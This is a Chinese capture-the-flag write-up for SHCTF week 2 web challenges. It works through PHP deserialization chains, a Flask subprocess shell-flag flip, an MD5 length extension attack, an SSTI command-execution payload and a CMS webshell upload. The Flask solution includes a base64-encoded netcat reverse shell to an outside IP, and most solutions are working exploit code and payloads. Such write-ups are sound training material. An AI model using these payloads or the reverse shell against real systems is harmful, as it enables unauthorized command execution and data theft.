SHCTF WEEK2

[WEEK2]serialize

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));

这里反序列化头可以用数组绕过,然后用引用绕过miaomiao()方法

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
}
class musca{
public $ding;
}
class milaoshu{
public $v='php://filter/convert.base64-encode/resource=flag.php';
}

$a = new musca();
$a->ding = new misca();
$a->ding->a = &$a->ding->gao;
$a->ding->fei = new milaoshu();

echo serialize(array($a));
1
?wanna[fl.ag=a:1:{i:0;O:5:"musca":1:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}}}

[WEEK2]no_wake_up

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
class flag{
public $username;
public $code;
public function __wakeup(){
$this->username = "guest";
}
public function __destruct(){
if($this->username = "admin"){
include($this->code);
}
}
}
unserialize($_GET['try']);

fast_destruct 绕过wakeup,exp如下

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
class flag
{
public $username;
public $code = 'php://filter/convert.base64-encode/resource=flag.php';
}
$a = new flag();
$a->username='admin';
echo serialize($a);
1
?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:52:"php://filter/convert.base64-encode/resource=flag.php";

[WEEK2]ez_rce

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from flask import *
import subprocess

app = Flask(__name__)


def gett(obj, arg):
tmp = obj
for i in arg:
tmp = getattr(tmp, i)
print(tmp)
return tmp


def sett(obj, arg, num):
tmp = obj
for i in range(len(arg) - 1):
tmp = getattr(tmp, arg[i])
setattr(tmp, arg[i + 1], num)


def hint(giveme, num, bol):
c = gett(subprocess, giveme)
tmp = list(c)
tmp[num] = bol
tmp = tuple(tmp)
sett(subprocess, giveme, tmp)


def cmd(arg):
subprocess.call(arg)


@app.route('/', methods=['GET', 'POST'])
def exec():
try:
if request.args.get('exec') == 'ok':
shell = request.args.get('shell')
cmd(shell)
else:
exp = list(request.get_json()['exp'])
num = int(request.args.get('num'))
bol = bool(request.args.get('bol'))
hint(exp, num, bol)
return 'ok'
except:
return 'error'


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

注意点:

1.这里的subprocess.call的shell属性默认为false,只能执行单个命令

2.call和run等函数一样,他们都是使用Popen进行封装的,运行时都会调用这个,参考https://blog.csdn.net/wzj_110/article/details/116612425

3.使用__defaults__方法是可以获得某函数或者类内的所有属性

总体思路就是找到Popen里面的shell属性,将其修改为true,进而让call执行多段命令

一阶段payload如下:

1
2
3
4
5
GET:
?num=7&bol=1

POST:
{"exp":{"Popen":"123","__init__":"123","__defaults__":"123"}}

二阶段payload如下:

1
?exec=ok&shell=`echo bmMgMTEwLjQxLjE3LjE4MyAyNTAgLWUgL2Jpbi9zaA== | base64 -d`

[WEEK2]MD5的事就拜托了

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
}
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}

重点:哈希拓展长度攻击,工具hashpump,下面会举例说明

1
2
3
4
5
6
Input Signature:  key和明文加密后得到的哈希值
Input Data: 给出的明文
Input Key Length: key的长度
Input Data to Add: 想要添加的数值,这部分是必须得有的,就算没用
最后得到的结果是结合更新后内容得到的哈希值
后面是伪造的password
1
这里把flag的最后一个字符}当成已知的字符进行伪造新的md5值,把剩下的flag当作key

一阶段:获得flag的md5和长度,开始就是一个url拆分套娃

image-20231015170602470

二阶段:进行md5伪造

image-20231015170757186

1
传参的时候去掉最前面的},因为真正的key(flag),后面是自带一个}的
1
2
3
4
5
GET:
?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00a

POST:
SHCTF=d285c0becc667923569236d9eed60c79

[WEEK2]ez_ssti

ssti

1
2
3
在hackerbar随手点了个exp就getshell了

?name={{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

[WEEK2]EasyCMS

1
网上搜后台,admin/admin.php,密码是tao,进入后台发现可以编辑文件,直接写个马,蚁剑连接结束战斗